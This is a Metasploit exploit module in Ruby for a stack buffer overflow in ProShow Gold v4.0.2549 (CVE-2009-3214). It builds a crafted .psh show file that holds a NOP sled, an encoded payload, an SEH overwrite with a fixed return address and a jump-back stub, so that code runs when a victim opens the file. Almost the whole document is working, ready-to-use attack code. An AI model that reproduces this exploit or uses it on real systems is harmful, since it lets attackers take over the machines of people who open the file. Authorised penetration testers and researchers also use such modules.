ProShow Gold v4.0.2549 (PSH File) Stack Buffer Overflow

`##  
# $Id: proshow_cellimage_bof.rb 7911 2009-12-18 00:19:04Z jduck $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GreatRanking  
  
include Msf::Exploit::FILEFORMAT  
include Msf::Exploit::Remote::Seh  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'ProShow Gold v4.0.2549 (PSH File) Stack Buffer Overflow',  
'Description' => %q{  
This module exploits a stack-based buffer overflow in ProShow Gold v4.0.2549.  
An attacker must send the file to victim and the victim must open the file.  
},  
'License' => MSF_LICENSE,  
'Author' => [ 'jduck' ],  
'Version' => '$Revision: 7911 $',  
'References' =>  
[  
[ 'CVE', '2009-3214' ],  
[ 'OSVDB', '57226' ],  
[ 'URL', 'http://www.exploit-db.com/exploits/9483' ],  
[ 'URL', 'http://www.exploit-db.com/exploits/9519' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},   
'Payload' =>  
{  
'Space' => 1000,  
'BadChars' => "\x00\x0a\x0d",  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>   
[  
# 0x01a614ea # p/p/r @ all.dnt   
[ 'Windows Universal', { 'Offset' => 4036, 'Ret' => 0x101a4cf9 } ], # p/p/r if.dnt  
],  
'Privileged' => false,  
'DisclosureDate' => 'Aug 20 2009',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('FILENAME', [ true, 'The file name.', 'msf.psh']),  
], self.class)  
end  
  
def exploit  
  
sploit = make_nops(target['Offset'] - 4 - payload.encoded.length)  
sploit << payload.encoded  
sploit << generate_seh_record(target.ret)  
  
# note, just in case the arguments get modified, we'll jump back into our buffer...  
sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + target['Offset'].to_s).encode_string  
  
# cause exception hitting the end of the stack  
sploit << rand_text(1000) * 13  
  
content = "Photodex(R) ProShow(TM) Show File Version=0\r\n"  
content << "cells=1\r\n"  
content << "cell[0].nrOfImages=1\r\n"  
content << "cell[0].images[0].image=" << sploit << "\r\n"  
  
print_status("Creating '#{datastore['FILENAME']}' file ...")  
file_create(content)  
  
end  
  
end  
`